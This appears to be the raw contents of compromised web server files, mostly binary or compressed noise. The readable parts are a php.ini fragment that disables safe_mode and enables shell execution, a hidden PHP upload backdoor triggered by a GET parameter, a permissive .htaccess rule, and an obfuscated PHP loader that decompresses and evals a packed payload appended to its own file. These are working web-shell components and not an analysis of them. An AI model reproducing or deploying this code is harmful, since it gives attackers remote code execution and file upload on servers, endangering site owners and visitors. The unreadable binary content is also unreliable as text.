"рX,%r=;|;[hsto=	9A1jjl?@S4/sS?5RlMɡC@\Su!vl161&qw@PxYVD~9mJ@oɀDJeZdrCX:a6@doyYȆ&y3]&ڜƺvP䢨nӖjmӾ*bAŬ^BrN/7|3B g~CcZcx!g]!^٪"JJ
2^kpbsvluqrjtPSG+0x@
V2m_nḒŊ#&UVrޜkd	J@YQ\i"qf͛b,!	a{py dxJ9~DyU%`S0{lfj.΢ϣ$ѭ8*9
W9\K0dkdQTĲ_ ڃsLo~_t%YJ
).|8yO0sdtprliehy˲d5y9Y0
|ms T֗"e,4f[Q|?ٮ~Z+g8u&xmiYsE9%HGkw9S"Ng;*bd!Y0lk=Žsdtprliehy$K`=f@nYN}O26~wі4'H8;E݆_hɺ(c z0L
.׬iPUv|7hcZJՌwBysdtprliehyJ[Qไ+;Qlڞ߾Z|&pbsvluqrjth [UeŽfuSI@LMh=%pbsvluqrjt$(\s{K뾎T}ya:eI|cDrR,A;Jz/}h/d_uF޼~ۦRa_i$yQ.'\ίmRZ R7oZ_=o%r2蔡iubpoTl)蓿.&Byj qsdtprliehyPsdtprliehy5Eߩܓ3ppbsvluqrjt1n'Mm.uK)#Lހ^sjt{q)ɷ}2HWBH%4pbsvluqrjt[D14tC[VyrMe!FkCAr:A6JN_ntn~M{}.=6_
qIBubPl	n@`zWF%Q#/x%!X.Nayd;w)2m&if _wFmI6Ss3p͹4O0|N5^E	HoK\cEO$#Z3h1	%Ltwne},ĒtZ?ߊ@l7[na/BQ)pbsvluqrjtb%43Jb[
Ou64? ._*ILDi%AĜ,"vn*-UhDEq!$Sisp uVpbsvluqrjt6x*3e܄wb٠)TY(a"+VڮKg{bP`joY7[A_QhO+t8
Gu?"sdtprliehysdtprliehyu7nl^?KڀKr4ܿ"``plC
&(0MAp=ֺ1L8OˌkRY@%g1d6M5{gJq^N`qa\!(#3f/?Wo݇[UX^6 OBrVnC=|'ˑsdtprliehy(o_{8zBYRư܅1.&a'.6RׅQBN3&jGsdtprliehy=$OYlVr4D?R^7RMK8FdDIt-mıAa/\8(`Uw-nofMS4Ht,Қs݁"xɼ)uLT^sdtprliehy}j&èW~L_3 $*w5 fl	K&Qȶ2vVl9缤5?=쪿#)Ns//e66	.RGD;Cz?cNBq'v3cΊ;~㰑[_ҡ{]Ϊtۈ\l(aT@';mqFNցR;ЍW\.~zHOZ tpbsvluqrjtO;]bWYR}|Mܪ
syE4l
eXf̫*|!K,~]!*7ed~sx_DD9W``8ܦltcf7
 Q#{,Ypbsvluqrjt~^\:&	pbsvluqrjt(/77Qz& fX0 rM
G~0IL!bq`OLCE@pbsvluqrjt(DgB)@9'xh5ʹZc',9d$7P}pbsvluqrjtJpbsvluqrjt8mej[xetr7`0^xռ YsdtprliehyVnc#3(SB8Ct楊GO VRkT./SZ
Ze !I'Yxge
9WjDisdtprliehy#D,+`Qx/z7{o
&FmDQSJ"_%QLAatzi(%\v"9nlM8"7*a˩LFbkV   h%}śWp`t{h0YQ,Q|;hӁЛ(L5PpbsvluqrjtH~ջQTtX{)׋pbsvluqrjt5vn|u (OsO=xU:w3A$뱶o#~MY4AzV[H6(1yMA7/2S2KpbsvluqrjtE;)5Q&5Eql"o'ጬ_r%F}ONX8C,_VVF؍x^\8sdtprliehy͢9ֽ$FO/UUOhn9ᨦ%uf[Aب!RZ= I~mTopbsvluqrjt&hITC!CۊUVңǯ{[˹Kpbsvluqrjt2o,jƃfYF6'8@cppFMvN᥼% }`L~~]0`?޸ρ@'oSgߠBoGDwͩgI#y7_ᔔA`?sxJj2^B~qEQLFP,-~Ru7^gJCr#Т^woj2#hRLs_Ց b!D^ޓJ{9Ht'Nmܝ+%QOg٤Y 9ʹʑy֑k'6x.\  
MeJ]*;^MqҹO.k]^e]GxF:RL.$].:5ݩaBEio84+({)І٧mVr99}Iq=W#f'miN+E&xU01^-D=Ѽ &3K&5$*^e^gV7؊PgS Je;N-5B5ѸZD!tS$7J㲶KQS`QaabڧgoiR..4o`{i'ڝڞsdtprliehy 1@
p$ǚ@ҬOA&bYsdtprliehyǈ~52۴ca~2'PЁ2~(0}L(p'9rU92B=a q#.?*?7/̟[=%rTr b`EéO5T	i;A]wOtm;
&onh@xgh)u;	AtFAIͯ2[^=~^Fvd|q.u`C0wG)Ay[b4RGn3}MN` qWO~קۻ+GK&Il1VǖpSZ2sdtprliehy*E'چK\IX԰r]ƅa4t;",#*tS|T`0-{CU̥Z
Б%iO|ԗB\ÒQXzpSpsdtprliehylDsV!XzDq57)^ɾc%^,}^ځʾchDɉՌ΋qK0A|5Ia
Wrg='vAAz
|
Y*'
z3:(pnon5=39oJr _pm
P[7 y{j~׈m.j)ag91ne91v6_`qIo]O{f*?l_0z^
&/Ǵږg&SOӀMi7_F9Crb_#?y» ~:
VQΣ!h[rYj'+$"5]*?GT*Z;cHYm7Er`;]Ȏu6sl?o ?Tk
W7\Hey4ܣ UgD5sdtprliehy
OI]%
!ᨤڬq`YdG|soPʗ0y XE'F^edtLn,9,~^nO1Be/npC;R;: z}S!v(J='A~K@͆~x+2yPIj'S_Ay̷-kc_pceDCV
kؙzX~K)pbsvluqrjtʚpbsvluqrjtPcD3jpNz_kJE7KC24׈:Abq+5\K-ub1Lr.jPSC@y9n
F[:c]&u/8#tc&~Yѹ_5Yf%7J#4\7 IIwOHf#p:.#b7V# Y?lJ:E^(NÌL_7Y|vЍOs'n߾Tڌ''6e"(9ey.[BE!W?'	&!`aS/ʰXd(]`#@E?3gN_x!E^\wC caJ 8gn8Гy7GpBnh߆W{vE駐	~t' OI'x)/#BC9^,.jҊ_뛽Cwsdtprliehyʹ{۩WQUYmP;A49k6р1Ξ
ۇgC$
(l&_#`}kЪPf@8zPcv,=pbsvluqrjt~ʩp0 *ɯ
DXkS,A/VmE܁B6!!k&Id^}eAj-x146kxjABp0vb.^X#y^X$auCb"Vٲ:&H?ld0ǡ&UƅpbsvluqrjttEgĴL&!"'؃bJ\aHZ,ڊ騋VwFtBuDbXI/~7pbsvluqrjt6B?JEPkD~aχ~w@8+$&o~OY[~5VBӏC
@4l;VrtWNMB;^/]3kҌx@Z#G"wXgjAcddX(
@OHTݰsdtprliehyJ4vxh}GwـT,LW-4pn{PgJt(o]ILYYh-ÉB֕`v{̖jRExwv,5Q`:qWhGd$Wu2?~{O(̅yom-^jV8d

#B822D*uOїv	IrlN
ԉD5G8XT.8G	խ:~ԀZŖuag46B!q4d(AM:˦U:t+RI7F*
]FGf-.	*맇35|hZС:EE=M[EGpbsvluqrjtx䔼HZ)wV@A~V̋w2F+x6O!Fʶfݸ٩Yg`{ 
w ېw^Aڶùr
BpbsvluqrjttecY/V^'U,܏sdtprliehyBgp
޵'򄞛e$o*}tx2ۢsXB Ɯ}JX_+sdtprliehyx9B"4NĀ+p׀AbI}/Z֛sRnsdtprliehyTy|-'O0%B(7F911hUMa.bܠD~gxh&FFs^=o5'grޑ0_~9y6Ye;OKck\1hNO/Udd
NTG_{*긳sdtprliehy9^nq__gJ_BFa릇N=T\G6Qeq7ַsdtprliehyeVR}
Uʋ1F~@t0={,1lҒ2쇈`.z@_0o⫩n]JO%MQ|v VRϪ93$\=&[Qiapo&\1%[ $exvЅkЌ8rjsdtprliehy,tXO9sޏ,mp/j*53pk=%m;ϸaހ N+sdtprliehycD@ST.ozx6"npNNNݐ}O1VXvnG*Jz?axL-pbuKaWt|gr{}&2*(j:`ȸ9sdtprliehyz*J6#PDݧy@
lʗpbsvluqrjt"P"pbsvluqrjtp\"7|*_ɫ"U8oo?+|tD^(_s@B\S]{oV\|DEkѵ.Γշm*xF'9CpGHɡy&LTkHnA]y٤i\2Y,3Rb&$4/j+63Wa+糫6rv)v@Z7j&HRBK!_IF;[M .gS|:!A̸M:2?G=]V][M5dSQ\FOd`qJCAݱT|&1HO}
1 jOzWߎ|pbsvluqrjt48l$yvP-u݂yʠzsdtprliehyՏ%̺9",V:8A)Oyǔ[al`t`k`3U"pbsvluqrjt	P[} /$Roy]E҇׼;@+&Ficl#W.믌ϢK/oCIMbcX%BHxgzΩD=H@e,:Ѵdc JǥΉUJ[m8e3FuEzʵu(+p4\o~5V	.	&``}Pٜfݺ:'ȃ656Ů3pbsvluqrjt
3HM3ŕMe@L9Խ@lp pbsvluqrjtkB* k%lSG ?@|4Z*3Ƭ2|e^!Ḩ%gM"*3@ZamS{-;b/S:"M{ⰕV0x{VsdtprliehymP/ֱ:s"C]ƞFٵ++zCMT؉)c8:-Z'gKK/+ H9rsdtprliehy䮧 U*e GF3n+#k0|sdtprliehy@hV?ceԝ_ԥCsO*#`APsc	w
@贳hD[y`(n0(]ծO?- 30}'Q ``.!(C	BH7©UGhR#ؒIX2v_$БS	Jiv׃Q&B9+Lـar
[Q-_ا8
or3TJV'Ϲv`dʜE7H jyR"`g1#K
%Żq'P 	XK_LrFy70jL	[QEgf`~QY5R sdtprliehyĳ_bDGԑ뢒ʗ#QW5Yɕ*H6-pbsvluqrjtpbsvluqrjt
4++qє{0cG\1$zftZ|2x#S	f?tuV6ˋǳ{xcc1/a^r=mc)iN1i5!.YаrMɄs-s{b%t*$J 1x/1#f}i
 4'	eAoťn@{|FFlk|WZѐbpETԳrZ
G
3V"r"="D:PbeJ@:oKgWE&
=sS3qp_m5Eh1xG=7bd2UfQW]W7uJ4:}M(qs_^6sdtprliehy~`Hm
*=_-"N5 HzBg}2A]dyGAOseq05bVt#u9fsdtprliehy_,4P7eΩ"8}3vASmf|` p+?uq8N7M9V0 =[$ʵQr`vT9u~q8}\CtWv+|X dy)Bw6#}MTp8R
'I [!L@RZt74%lê ky!/|ܣDE'ApH	sdtprliehyah7QIG\}vԬUXycvߵ`x|+|ik=Κ;܇YfcfZa7pbsvluqrjt~sdtprliehyL/,m1;'(o;ad堌{EΙX%[X5R+^$8
!&~).
Coek;.iN+/Wڣ
}յ֗hʟDWV!;~$4y8	,L("Fk9oL8#xz}"RU;
秣̿^h-Empy{٘ĳzݬtNrmJ8B:` t(A`9}7WՒS
iUOe;a*z;ޢw[v#FH[W._E#|eeÇ`7S1k7r$KeuC"ZxBŀ9O+@1~qW#8y5	ϼe0ς
7r9J:8sF|ÀJRg(gޭjeM{J+/:vj3cK3
[A⏇}=:H=6הxP0Gub)5NzJ1tܮ[NhmGi
|e0uaP7zxş{{*puc	$n8yVo"M0lGmo9
^ܻY8*,O/˲~wL}oUHe=!{R5uO.D[ox[vA zآ]k
s'dXvr}!KM
kG'*\M4][ǻ+&0
p@4nA7(
 k5(ױ1wl/'WW[StSlV:|+Z$^'~U?VlO&!1uv
F +~`,D pbsvluqrjtĲpbsvluqrjt!XeX
P|P4rX{WBX?	[	2s{˄Y_|-sIFЮS1pbsvluqrjtpe7-i|c2eH,O1]pbsvluqrjt댻Hkqsl{~؜Kʙ"Qemsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$yEGR='s'.'t'.'r'.'_repl'.'ace';$rgDF='subst'.'r';$OcjR='gzun'.'compr'.'ess';$xUIc='ex'.'it';$GnUH='file_ge'.'t'.'_conte'.'nts';eval($OcjR($yEGR('lseywmzpbn','>',$yEGR('asycdvrnkg','<',$rgDF($GnUH( __FILE__ ),-217728)))));$xUIc(0);
?>
x]::kLptHlseywmzpbn@9YI10׮wlseywmzpbn鮈Ysd =}_7onoid9o-zk7'??nܦi
|?c|ULq~}/?lseywmzpbn~oEwo~=]~pnunG;]asycdvrnkg?įk{=	i
F86?!F3~(c}￲?Clseywmzpbn]=:L~?yqp-L9|{|c=EO;}f2ϡuxSbuZ9ϵ3ݿܿ	|;t/眊l=~ҿ$_)N9~??w8ay6ٟlseywmzpbnw0*wl]VѦ:I#Dq95asycdvrnkga?9'6'asycdvrnkgJ6	cX,_\dշ3ۿ=?E"Rߥm??k/\qk?ؕ_c^2);@HWLuָO0:ÿ:y
c^qbl|+s0lseywmzpbn@mZcxL_q׵lseywmzpbn:?ۺ$p~:ë6lseywmzpbn3]׿j8"sJf=Րߑx1_E?1O0ǽ*\Mprkg1='E2U"EgC9O	asycdvrnkg_C7$XasycdvrnkgL~=F.#WK9(~:%?UasycdvrnkgmFalseywmzpbn6'6=G%gC1¿k9ϭ5{OqJGMN#z"="17C}cؼU'mǬDp/k:}wfΑog6撔X;oNXßǴ_?dakU)^-?=`̝~0my7{Y
zc
K~JN%gc?q/:'Uf~hhq3Xj'K
cp+_x[~*=Oa
gzi)	1:/*+.um~6di+ykLv|ޤm.I&~KeRitR}d{~эXH:2Q]DTTc)(̧XaU7'lseywmzpbn?3l"yasycdvrnkgRIFǬĚfYe UTRyfb0
UM㩿45z
3cGTܘ +2۰asycdvrnkg`nRMz!9)ױo@7sX$5W_1i
z7?K~
d%	Ytqx&qxayJq,2*;7QYfg5y]!~z:hidEMݱcd;:)Ve{m}8'/;V#GE*Z
:"9h|*9	;O\duUfg[+ȹ	JTŎ63muKL~7̛qNr%_c##ܭO6v8D;ZWCץ|JbV3|FvϣO;^^G{0Kg~ҖZJrԖɬPq_vr#Ilseywmzpbn'̆T#\EL]5U-UWhn\loLg߇;d- k_Iamg|9G2]V1٩cJm|$mwsssfG[ڞ/c]L{2!n w/,z_ϟS's`8$0Ð{I~Fezܦasycdvrnkg|QT^Rb@)S8V.3-d^%37m3yxBO\^ub
Ut=u=%W))G^"AqZ*&2﫷(BΉ[hAeRasycdvrnkg;5EO괣؎.@=FՠyqqCiDasycdvrnkg|цlseywmzpbnK=D\VÁB0tmww{bW_o:[olO)mЩG$⹆,UM9{nCRwKh'jXi72338GAPd-qd~f9#Z;+4QGjQJTYnN[Al3VasycdvrnkgEkak/	ːVS_P٧]yasycdvrnkgm.DvҖo:?$=.j4oM7%z.Wوȡ?:*/Ac̔2c"iSq
7״c?$dhcDLlseywmzpbnAw`ZՎFNH=M_8=a"k֫2Y/ǈLR7և\'3cMu⻘5i;rKClK3yAi5YBόI;LZelseywmzpbnasycdvrnkguV\ƗTt

!eh2-$FףStgTZ3`ҰH`t\W4tYiLE2!asycdvrnkg+^|{Kis(*rGaY{hKCAtKIw,Xz}_l1e^8U`'FG9
y^~yF1#-[*Coc)+i`Ku`TG^Gi
:1g/ 6хvtm~rx(f|HQ70~,iehr\kTb&҃Zgasycdvrnkg۾;&[7Zv|k+^bJSoDBUv`U
lUY3ZDɫL&[7fJޑwXLS
Be%^F֍w5HKSGBr(
͖rJI$2msasycdvrnkg3JqkPCt22[vHtLLj3K[\/8gcA
_KV,5}fΣlseywmzpbn=uU1tzI6
J֯@:bU\	HoC"?dH.fs  ӳQu.))FQ?ZĨlseywmzpbn1_ަ(kWHRR,
w%m'֜rG2uY1twv1e.ʞ5Z AxD2lseywmzpbnS-
^ \d*Sʎ߹5GbOPv5*e-
 x(7\RGbαO.ad7|_|8?xoԝij[9YkHbllRIf	zw
| 
#B2.Ɋlseywmzpbnfǯ30seN3wWh=7!%f'cǓ01r 7\+&ϣI:6mo6a
bBްU,ʕ]59cDܤ`^'NxLw`
y%l&EoneNwfOu5:BF+goG3s-=q	ųԪ5GS'v%p̓G(6S&Z
'iqEzsI?,%#Xn]=tj]|lseywmzpbn#q?vJ=Qwǐblseywmzpbn=jKQ)I9_l\?V.h+yTKrߍK cgbͣ.;7pߖlsǪ(g.{*(
zLȁ.lseywmzpbn5
s4hr3)ꌚeNEQ{&4uVpK3X;N۲WSFQhs~asycdvrnkgc7C:+$H2'|]-ocp }24
xª|4Slseywmzpbn&qEejasycdvrnkgӬ	{B/:{&h+,ߍ[=̑ox9Exs+6"sc ?P6y
]$rZ;G y# asycdvrnkg K#p\M$va.'QN~FsKU9p
)Σ.%7_%ķ?!I2T;)W̵DŰT4񙊻%{AxFrT\\Y8;.	^ha^%Pl-t)4:s^xz#ؤkVVT?3v
^J|zctU&G)g/SsT6sؓcX@]omb#Oiyv}6o[m`wG=U [ϸg_18~i
HjG[ߝn|UNTH=j0u1MNDߑ=2:`C)?םGTТ^&h!Fm4jfz:^fb$Ҡ9E6MTBZzKwaNt8#rQkրSqzեa=D`lv	T+߭c\o̤n袾!FD?Ա\N ˿o"U|N~asycdvrnkgZf'ΌLqmXuWԊ墪)WDdMv?asycdvrnkg݆\lseywmzpbnŚWdFr᫺
2;δॵ1Ǣ4_nz	|'f_s%*9[ӓFk+M!/*vȻf1B2WH3lCXX(ꒁ
4Ɇj|A`lCõӶ\K$%Xئbi|&f́E6=U@I͊
cay3mE6O=Lb,\є,Cv9QSTq83.Gi^L9dGEa^ʼ wx?t$vJo׾\`i|nd1-.̰q#E԰_43asycdvrnkgP+~w}@鼐7GvܮnP-KRUl$:@
EZ5vNjaO#	kqgkDzy7{lseywmzpbnWwț(PA.^*Wŏ0.JB20`cȊ_oyݡgOM
^ڸ˼ICasיht~1\	8hNTɍ9
[)
&)1	0
X 7 "p@%{ZN#.+/cʁ-*5@{lc`Nאָqvr'1!h2SU~h.A+艷NG1W(9}|Zzs[/M&|D qLpslNAVuGjI[悚;
p4}GT}lseywmzpbn^&"^p`y_^vCo*V]T'ujɍXAaLCHe [rQĊ%0 =C~/S"x\`ԗ~/7~hy(37ftcVpH$UzuF em& 1Uh[Ynx࿏uoɺ:W`DjNPyƇDV3{
_u
A+lN2FJBw;͒o䝯:hEO4,@8j"Pǻ\f
2+G
 P*uu"(ːIÒ99P^?asycdvrnkgAJPG~'rFtQ`׾ptA2$prbmw_҂:
w!Wߗ30`xS5Sà@+{!
rѳ_H
Y:Mz# !	7&i=QZ_sNc/Gs{lO %~O/rxOY*A3ؕm2;ZqBL8ӀqZx_/ {@baot@65U.XppSY[SvҥI;{te}DalϏ1$~i_BRoaȕ%b W[-:D3!wF/F9R&@%p`8lseywmzpbnFγasycdvrnkgD}~B%Mn5Nou 	ØmS2rkf1m
is%삪X)s,sCL!}X%@صun؊ {u1`-x|)xRf#0F8b'	D2{a=|cډhL]C}!bd[h}1 cꠋo̀1FlseywmzpbnYT/@ѩ/8Slseywmzpbn:2o-GQ2)]x^_~5m`)/4;=8%/0%h|px)r=
sauYfٽ)U2j)؊`)neVeηwlseywmzpbn"Qblseywmzpbn~ ?y^ɢdQ}Ӂ9
!kJlseywmzpbn~bk}C}jIPl;4*m(o0^?_"nG.Kg*pW)ÐWa^;~F+\s¹ڂ(Z%
qEasycdvrnkgLp cv[[M!/fGO"	w%|6WüXJouWI t?RXBsܨhHR0jt`E6A}:dߵM	"C=#Xh
{!I%^'c}^Di_l5$x5 ~5~2X
`μ$} x];lseywmzpbn_z,i)D9yXGϸ7x+"S_]%SyA?`.^V"mէϴY7myaVueu-uFkAlseywmzpbn0	4
EvEe(KsԌasycdvrnkgG`\asycdvrnkg c/]	پ*b-uv#`9~Mؚ/
٦_n}{lD97[ĵ-U9{@$ 1}X/'_`?̞`N]tCPygmT.Vo*	uB3Lb5lseywmzpbnMrCdBjOg9ʗ5 VPY~/J^g{CZGG-asycdvrnkgn=2bI$[masycdvrnkglseywmzpbn	7TyXߗL'ެ@icH/%ELk:Ϸ:*8TqLDfnyX"I_ɘEQL@S+(Henlp']v3v=#Hރ-QOO-Vs싣RY)Spx
V^&\IYlseywmzpbnNJs//ډlseywmzpbnK3y{lpX2S ^}~ߠش[Bu&5
$\*U
]X}:17+yvbz𛶛M~ABdjfC
YU.c'W9cAo}o:Hq!㗶HᳳiŃezlK1W3p^́]8C़lseywmzpbnHA#ҧ}lseywmzpbn:871h7屭-llseywmzpbnjo-'ˋ
Nyvy,g.t.1/mKeHBЙـҭ2ɒE`^	3T=&bRasycdvrnkg?Z gi߂qF׶ B_	y%k׭YOXݯŒNEב]0elseywmzpbnx;*DpG,_^A~sJW:up͉9j4gјu vDqE@lsH!"TqmboXhEۃȁy,ᘎ&3p=%w}O3G	}ܱgkjlseywmzpbn!=zA'0asycdvrnkgTBL$j
d5`4dɾ_ԍ^  Ey{}fm_zޏ6:`5|徘`#
R@e\`w`~7Qj}
n,lseywmzpbnlseywmzpbnϵbƥ}F-7-Ղ3l|LuG60umIƟQW|D:t_H	.A~|V8kρe&SzyE}:HE[dWxj_^0y9ˉ~+sť/7
O/1~z-;=
6B|}lseywmzpbn)lseywmzpbndD47lseywmzpbnv_gL?D$UJ+Qg!$2|o_d5_4#&nn? j=|^lseywmzpbn.3ym&Y
Ձ؀Cy|GtJmcd)8YeC,ӝڀ1m_j^lsw-5-7H#IdUrXgYuȬrr;2yd|Y;ӡ=p\ǥ[#aJ_F
m kX
;(u1 dKuUJalseywmzpbnMoݠ1k#[&|= }q_[ʵدư.ʎguS]m|c
y8H?.lseywmzpbnF2/Aglseywmzpbnio4+3ŕ0X
V8N}Dh0zz)9t%otJ}߯=$ )?*0Rk}fsA__)߯An شG_llseywmzpbnasycdvrnkg֙OaŨe.v"и?̖_ѩ#LSD)L?^4asycdvrnkgu ?$gt}왨8S9N)0
ΜBVa(h/x/KN~5s=r-Zasycdvrnkg~9W6uWi6,BvFT0F߃5BR;	egu|!3_jrL1ъ)ꒇ'K¼&E0hZy*ma) RQ$N9XZ$Iuڊ BY {,E:5T(eg929|5wE80
)mQ
OPaltxb'.t8%om/}FhAs6z㖙+O[3ʨO|\|asycdvrnkgWMϨ&ܞ3XV(K9~鑁N1$asycdvrnkg~YKlseywmzpbnlseywmzpbn]'WJ%Yf⸧: vIN1$%Ȼb)1*Ɩi\u2'5Ŋx" 0c(YI@6_Yo sjn7ғt&Nj
\J1]`b50@@/?Ol^31+mhG뼴]$z^-	pymJWlseywmzpbn#n/?1])lseywmzpbn=6- BuG ͪZ7Z3*cY2N`#50СƊlh_}rE	Ʃ}ۚ}?~-;b&mލV#,/=XAz:/4'
WkKi",~Qn	pv [YA#mA_#R#~T򬐝*)}^ExYlseywmzpbnj
겯{9lseywmzpbnU@ewAgX(:ptڝ35ݎK4
W!TcJv2=_^w^$|ӡok,tGtf*K	fLvasycdvrnkg:@lseywmzpbn902PTi()0ae]ډ,l7tHO~=zO7B' N5 1ӞFLF^0ϥS|~[O'
6V!܌ "2@͹dE4:N08` 7ϋZq˲Ym`lk5;9 LYȣds^:8*]ƀZBaXDV*d~ɩlseywmzpbnW_7.r3SRWJʎasycdvrnkg]H#Hykd[`-)d#RwC\ݴWyasycdvrnkgF46KjdV7IH6Ss
5$dg`asycdvrnkgh6ռ	ԔXNOasycdvrnkgg//ln^asycdvrnkg"8|W;1xCmy!0YiI-$D_|{eI%8նF\DڰJA2tD]|B|zU?'&g_XaǼ=ϠHg:\e 55(ǚL-9=zlTyK۴"zyJ+h:~rAܾ.H'`"WL,zJ7mdN6Kc6C(/VL

o5q-#.'Kn6ji_%7i7`	B|y_ pnY,c~M~Ϸ`]ц*lseywmzpbnDX\5ޚl7l^ 1NI;`-d2|з%}˵D%sB3J}27L*0ڜ)|Kasycdvrnkg
rZ"*@BٿlseywmzpbnOSVuC7'cy̔`2҆U͐Ka;C2˶5c\l(miv&E	t3
Ha}۳5#@Ms?lseywmzpbn~6}5Mᐹ+rWT_~(ŉr@IIu9e?6߃mHlseywmzpbn-Bȵăyx|Oh~ahlseywmzpbndO/֞1ogې5Ȁ_KrPkT][`vpy)y?'Pg~7wj+0z9ͣDޠp9h$/3PG'Ȕ7i[־	dň5~Iq*6]Ѹ(.hX]oZasycdvrnkgL8Uݐhƫ.ΐ:W~gyP
XI+d׭xRCN^R\ѽ^SCקeF\翮AfCU^74ʸjm
%U"3qvXmT}Hۆ ckš/,RYMU6nITQߠy#{ʼaf);L9ƐP2_2իgn9$Ol .KⅤtah,Daasycdvrnkgr܀a[=C&ψG
ӓڟ
rrlseywmzpbnEUasycdvrnkglseywmzpbn1%,ȹ
NKx?t|l8lseywmzpbnUtsvk{/mȗ,zN}L|G/
lseywmzpbna:qyqb)SȓLOh
Y")uDBy~C2X~ψxyqSVC9Y`#`ꖆvk#@iGgD _ 0/PӡX;IppĥZ[R!r0vhd֥'VA'5[m o
`Y*'@71hSP5ϾAvxXP"pjO`.!B~όOcgc:P՜xĊ ;
Y~'\@(&֘ikKLBS*5:Aԯ+lG0
莫Evԡ9Q#Mc
:Nn-BM+xHp!f毾31s@,miW)3
BIlseywmzpbnux
%jrMUnbzX u=*-Y@?hlseywmzpbnЯFG\͕4Easycdvrnkgڧ.asycdvrnkglasycdvrnkgfA〚eA:ȒvZP~m%dziV:}͚3Y·{^A[/]|ߺocZc`81w#Q±JMAc6Ħ o:JLD"=ܿNϨ!XuS?e{asycdvrnkg'@oA__Kmx=|jN+h|~2KKtPOE\gb)k )_}:j2lseywmzpbnN$/;|ETUGEqJ&*QSS}asycdvrnkgZ6Q
t5Ah'|JWjlseywmzpbnS^hZci6#j^$}:`:R~?;AƩa&iMasycdvrnkg$Ңr1pxOُӬ5pNhY=:@ڦVN}Rw_ RB/7)y,`h$"Uy~jm#\,bK{u 8&! +r
*}lseywmzpbn|ױH1Kۇ~UlseywmzpbnBziydWZ&Ķe|YasycdvrnkgU"|)lseywmzpbn|olseywmzpbn:2=lseywmzpbnbVcepi`}&
0RfGnφPUc:u*~? &}ߩ4$Wഘ{KU5CF"=Zhet	uJ"#asycdvrnkg
/ϖE[ &$' @,}Nxfmg[rkM;K#Rx'pXq2MCwRJT39EzXA3鯐ӥxVISlseywmzpbnrjc2ΡdlseywmzpbnZ^J.m6'"ruУluVɪ7;^@FA
Z;GO)/}~\'s
lseywmzpbna/jlseywmzpbn՝ex
~1Bρw"77'asycdvrnkg9t1|X^8e}lseywmzpbn)lseywmzpbn9dWa&_D#s0x+LkAN=,xW9*
LƭzNB)990FǯmJ9;()`3K!h[Lc1j=(H%K֠bEZl3Y)Y;``pΩف װSɔJu^þYlB(*mEJ|S8z_9JPY򎔂N"G5RgC}_\[ )*_lseywmzpbn?,1ܶ5*B`mu#d1bEI-..atsb oG7G̳y({Ύy
asycdvrnkg"ƜmvrI:=:IFC.w
З3E&3Db~\]89-Ka=DRVL53NzǍ=cNk+nikR@qZ)!s^O*jF#fw^
6}U|(3vKs+Ш}qQDasycdvrnkgFN`4lseywmzpbn[_f'(s3yQ̬Co_}8`|kCVg"ėq1ܝ4uRVēU,7asycdvrnkg똕|Ɛ$0sxd$)MhЖrݺLd!!W;xAKH7
 5L.VR@~þ')cYنd5B ;dkåYJۼ$@PPn
hN;RQ\(gZ0f &wB93ޱ0zbxl:[
Ͼ/P\Plseywmzpbn+
%!Q i6}˃-5D1
P6.jasycdvrnkgZKѳmZb#fD1T;/C?Ijb$i #Y=0whCkՠr;;2$/v3Pasycdvrnkg9Pr+6,3hGM4,6:VB6p~BWQmݰ#?DRvlseywmzpbn%]*N-4B.D]!eH)B
`!R`d67/,tdF=,RnoiwV:	}ER[M8RU9OpByrlseywmzpbncHB	alp'/GGP3MX?fޘcJc#AJlseywmzpbn,Q*9d2Js3(Ju
FeXp9JyJ3Ia@ә Xq|ya⠑{%i{l|asycdvrnkg끾A,ϒ⒡]y14ZaЭg
sl.An^k}QPK+b[2Fs	p^yVasycdvrnkg)m§l%te^mn"tCXRxp)_B0[=Tk@([ت+
tm!h؞ZvjZ{͠UҺ_'XcGĶ.Ajzom-not4dpJ?9
 Oޯrc1|?#lseywmzpbnrȒayW]!/@s[oټkasycdvrnkg]o'6Ѩ}
9.aj$7w)png}FKpU1k@l7h9PrUY To0㣷Uނn9lseywmzpbnG?vqL;gkR_d;^@c_:#x@lt.;LUDuEN{pЛ_t-;v0Yja\}M#\Emulseywmzpbn\MȺq@lTxJ4lseywmzpbnEu#R^oẍ́g]gڋ݄m,x=fMBo{5S޴[+,Rlseywmzpbn52W֐)l#/;?c6W3ݯL\llseywmzpbnlseywmzpbnlD+,u33asycdvrnkgj|Sȡ,alseywmzpbnTSSX0asycdvrnkgqȞx`gMuF'Kskqyg:suCceK5d
1rJ ^ 6.~վLԏhH
9cڪ 2̗lseywmzpbnxʪ~lseywmzpbnasycdvrnkgƏ5W@zTuT}&Q}3K٠am1z:i|E޵w3Uflseywmzpbnq,%uIcJqQLsГ+׶X@kxfhd}7Z+db˷Xx*vh8xìG)28lseywmzpbn
2rCF[^o2kcoz[QѕX,kW=K )W,c֝zig_3fsùnvx΃Iӳx!}W/?.`{}+O *+ YtkKu8q?)DGh}-;ݟP$c81sN0
xpcw?ۂ9zDyu}hV-9I
?lseywmzpbn_C	l'$1=:WǛ~=Aq_ezhi"n2Hc@bf`2+ LBTCq02
3Nsˌ_tVėh3ȀQvۀ,wE;%6-q@h ې }67s֕_fTE:/EQ(yH?Ϧ66_xәv*W}asycdvrnkg:#CL:uF`OG\Wa9~.e]uXZh
sZޟcʹ!?ڲ#V
ƻbnA3Ґѥ+ԗuzfEp{y	(8aL!UFIUBOm`+B*j@vf|CN1S	km@e|AM/I~OYAȁTO8~۾E$$6iNͽ}σT2"os~ "')skq,~iRK+|z#K(B̟DM(Ӣkd(-dL'Yt){׼Gq|6kX}w_/Ig/ٓ_L[t^ Cm]	3e-E'LCN
ja+نܰ?1mH6dÀ!7Δ|@#^^pt!)U란db^,oj$}[-asycdvrnkgo"=9Wo[Iߊ :BSRASBs;*̍xƬ
g]3T%*u)RBt^\iu^#oDm}nH1k=O FVlseywmzpbnIV/p	3Q,U
XĊA97`SN[$_S)_,oq9"$iq:
rih=w
